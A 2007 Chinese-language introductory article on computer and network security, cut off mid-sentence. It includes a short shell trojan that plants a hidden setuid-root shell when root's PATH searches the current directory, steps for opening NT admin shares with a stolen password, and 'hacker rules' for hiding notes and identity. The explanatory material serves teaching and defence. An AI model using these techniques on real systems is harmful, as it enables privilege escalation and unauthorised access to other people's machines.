让你的电脑更安全网络攻防基础课

发表于:2007-06-23来源:作者:点击数: 标签:
这几天闲得发慌,又不敢老在网上,想来想去――接着写文章吧,也算给新手们一个入门的指点(虽然我自己也是新手,呵!但我可是深刻体会到对 网络安全 感兴趣却又求师无门的痛苦――想当年……),不过这下我可给自己找了大麻烦了,还基础课之一呢,慢慢来,

   
  这几天闲得发慌,又不敢老在网上,想来想去――接着写文章吧,也算给新手们一个入门的指点(虽然我自己也是新手,呵!但我可是深刻体会到对网络安全感兴趣却又求师无门的痛苦――想当年……),不过这下我可给自己找了大麻烦了,还基础课之一呢,慢慢来,慢慢来……

  
  先说几句题外话:兄弟们对网络安全感兴趣是一件大好事,对国内的计算机安全总体水平提高肯定有帮助,但是呢,在当前的形势下,黑客守则可千万别忘了,至少有几条要牢记谨守:
  
  1、谨慎存放有关攻击资料的笔记,最好用自己的方式来记录――让人不知所云;
  
  2、在虚拟世界的任何地方都要用虚拟的ID行事,不要留下真实姓名或其它资料;
  
  3、不要向身边的朋友炫耀你的技术――除非你认为就算因他的原因导致你*&^%$,你也不会怪他……
  
  4、网友聊天不要轻易说出自己的学习与攻击计划――拍搭当然不一样啦。
  
  也许你会觉得我太过多事,但现在国内突然涌起的这阵“黑客热”的确难以把握,往好里想,情势大好,技术水平迅速提高,但……国家的安全部门允许这群拥有较高技术水平的人在不受其控制的情况下呢,自由地在可能有机密情报的电脑世界里转悠吗?
  
  还有,我只是一个电脑爱好者,各位千万别把我当黑客,我也不懂如何黑――正所谓咬人的的狗不叫――一句出口骂了自个儿不说还得罪一大片……本文档只为电脑爱好者提供,如有任何非法使用情况发生,一概由肇事者自行承担责任――先撇清了^&^
  
  好了,题外话说到这里,现在先把我计划中的内容理个大纲吧:
  
  1、安全概念及思路(别忽略了它噢,这可是基础中的基础,其实真正软件中的漏洞并没有大家想象中那么多,而被攻破的系统有许多是因为人为的疏失才受攻击的。
  
  2、以入侵者的角度考虑安全问题(整个入侵过程的思路与动作方法,有机会我会把一整个过程详细写下并贴图的,这是后话)
  
  3、系统配置方案
  
  4、几篇国外基础性文章的翻译
  
  5、部份国内较流行工具的使用方法
  
  好,现在开始我们的第一章,安全概念及思路:
  
  一、综述
  一提起网络安全,大家心里想到的首先应该都是“某某的主页被黑了”“五角大楼昨天又被黑客闯入”之类的讯息,其实我认为这只是安全的一个方面,是属远程攻击,但你是否想到,90%以上的入侵行为其实不是黑客们干的,而是你身边的同事、朋友……或者你再想想,系统被人侵入后造成资料丢失的后果,但如果你的电脑被暴雨干干净净彻头彻尾地洗了一遍,你里面的数据还在不在呢?所以我认为计算机安全应该分为物理安全、本地安全和远程安全。
  
  物理安全因为牵涉到储如机房布置,防水防火等事项,不在本文的讨论范畴内。
  
  二、本地安全失控
  1.单机安全
  
  古龙大侠说过:越是亲密的朋友,就可能是越危险的敌人。听说过吧――没有?我告诉你吧,你有一台电脑,平时用来上上网,玩玩游戏,偶尔也敲点公文进去,你认为它挺安全的,但有一天,你的朋友突然告诉你,他有你的上网帐号和密码,你相信吗?――不要不信,这种方法挺多的,假如你用的是WINDOWS,假如你拨号上网的密码写了保存,那――默哀三分钟――你根本一点安全概念都没有嘛!任何人只要在你的电脑上运行某个小软件就……
  
  我从来不保存什么密码――你可能要得意的说,但――你的朋友在你电脑里装了一个木马,可以捕捉拨号网络那个“连接到”的Caption,然后记下你所按的键盘,悄悄地将文件写入一个加密过的文本后再自动退出――会点编程的人应该都做得到,你的电脑是不是失守了?设了屏幕保护密码――天啊,重启动后还有什么?
  
  设定了管理策略,用策略编辑器编辑过,如果不输密码他就进不了,进去了也什么都干不成!――把你的user.dat和system.dat删掉后用我的代替,这个主意你认为怎么样?当然我不是让你杯弓蛇影弄得一个朋友都没有只能形影相吊――这样活着太没劲啦!如果你的电脑没有机密资讯的话当然无所谓,如果有――保证尽量少的人接触它!
  
  写了这么多都是WIN9X的,UNIX系统里这方面的问题是不是就少了呢?从物理方面来说,如果一台机器摆放的位置不安全,能让人有足够的时间打开机箱做一些手脚,你的机器就无法安全,就拿我的机子来说吧,我有两块硬盘,但在WIN9X和NT里都看不到第二块硬盘的影子――我把它装上了LINUX,而且只能从一个特定的地方启动它,启动之后,在LINUX下,我可以任意的用mount命令装其它操作系统里的所有数据一扫而空……明白我的意思了吗?
  
  局域网安全
  
  基于同样的道理,局域网中的电脑在物理上仍然要严加控制,同时还要经常性地注意局域网中用户的一些非正常的举动――为什么?这还用问,就拿我身边的例子来说吧,我有个朋友,公司里三十多台电脑连成一个局域网,但这家伙总想弄到主机的最高权限,于是乎监听SMB密文、安装木马忙得不亦乐乎――最后呢,当然得手了,毕竟是我的哥们嘛:)
  
  还有,比如在UNIX中最好要限制ROOT只能由主控台(console)登录、要谨慎使用su命令等等,不然都会给同一网域内的一群“虎视眈眈”想获取最高权限者以机会……
  
  辟如说:shell环境变量PATH中包含用冒号分开的目录名清单,shell按照清单中给定的顺序搜索这些目录,找出运行的命令的可执行文件,PATH变量的典型内容如下:
  
  $ echo $ PATH
  
  .:/usr/local/bin:/bin:/usr/bin/:/usr/X11/bin
  
  但如果你是ROOT的话,无论如何要把PATH变量从当前目录开始搜索的设置去掉,不然请考虑下面的可能性:甲请你过去在他的终端上做某些管理员职能,你去了,su成ROOT,执行用户要求你做的系统命令后退出ROOT帐号――无懈可击,但如果用户将在他的目录下做了一个假的su程序……那么你是从当前目录也就是甲的目录开始搜索的,天啊,你执行的是一个根本不知情的程序,可能是用户自己编写的特洛伊程序,用以记录你的密码……
  
  根据上面的原理,你看看如果ROOT不去掉本地目录的话,下面这段代码可能有什么用处吧
  
  #!/bin/sh
  cp /bin/sh ./stuff/junk/.superdude
  chmod 4555 ./stuff/junk/.superdude
  rm -f $0
  exec /bin/ls $ {1+\"$@\"}
  然后
  % cd
  % chmod 700.
  % touch ./-f
  
  明白了吗?这个ls建立了一个隐藏的setuid root的shell的copy……
  
  三、远程安全与黑客常用方法
  1、针对个人用户
  
  个人用户在网上最常遇到的“侵略性”的行为不外乎以下几种
  
  垃圾邮件 这是一个永恒但又无奈的话题,垃圾邮件包括了诸如一些赚钱、广告之类的信件和恶意的人们通过邮件炸弹发来“成吨重”的信件,这不需要任何技巧,也最是无聊――我收到的此类信件多如牛毛呀!对付此类信件远程登陆删除就行了,也没有必要非查出该发信人的行踪再施以报复――网上这种东西太多,可谓野火烧不尽……然后在信箱配置上设定拒收某些人、或者超大的信件就行了,这种垃圾不在我们的讨论范围之内。
  
  蓝屏炸弹 这是针对WIN95的OOB漏洞而开发出来的一些小软件,多命名为*NUKE等等,以前是专门攻击139端口,被攻击的计算机多会出现M$著名的蓝屏蓝屏错误,WIN98下此漏洞已经PATCH上,所以大多数NUKE软件都已失效了,但最近听说一个叫VOOB的软件对WIN98仍然有效――我还没试过呢,要不要拿你开刀?该软件界面如下:(此类软件界面大抵如此,使用简单无比)
  
  要防范此类软件的攻击,一个土办法就是监听端口,网上有许多监听端口的软件,你只要设定好监听的PORT,一旦有人企图向这个端口发送信息包就会被记录下来,然后^&%^&*,抓到他后,你自己看着办吧……
  
  共享文件 这个问题网络里有相当多的安全人士已经提过无数次了,但……我每次扫描一个C类地址群的时候都能发现一大群人依旧开着共享没有任何防护而且自得其乐,很抱歉,我看过其中一些人的信、图片甚至更加机密的……你的电脑里是不是有这样的托着磁盘的小手呢?
  
  有的话可要小心了,你开着共享呢,也就是说,下面的方法对你来说相当有效……
  
  1、本地攻击
  
  本站在辰光十三条提到c$、d$、admin$和print$这些共享是很危险的.但是出于某些原因不愿意详细提及危险在何处.最近问到这个问题的人越来越多,现决定把我们的发现公布出来.
  
  众所周知,NT安装以后,将每个磁盘自动分配一个共享,c$,d$和e$等.这些共享是隐藏的共享,在网上邻居是看不到它们的.另外还有admin$,ipc$,打印机共享后,还会生成print$这个共享.
  
  微软说这些共享是为管理而设置的,且最好不要删除.
  
  实际上,这些c$共享资源都是可访问的,只不过需要一点权限.而print$则一般任何人都可以访问.缺省地,要访问c$,需要backup。operator以上的权限,即需要文件的备份权限.假设你的NT域内有一个帐号是benny,NT的ip是192.168.0.1,他是Backup operator,而你得到了这个帐号的密码,那么,你就可以通过网络访问NT服务器的c盘,而不管c盘有没有被共享. 方法如下:
  
  在运行命令中输入:
  
  \\\\192.168.0.1\\c$
  
  则一个包含c盘所有文件的窗口将会弹出来.
  
  或者.net use z: \\\\192.168.0.1\\c$
  
  则NT server上的c:盘就被映射为本地的z:盘.
  
  缺省地,你对这些目录将具有完全控制的权限,你可以用NT入侵升级版的方法,把getadmin的文件传到c盘来取得Administrator权限.
  
  另外,对于\\\\192.168.0.1\\print$你不需

原文转自:http://www.ltesting.net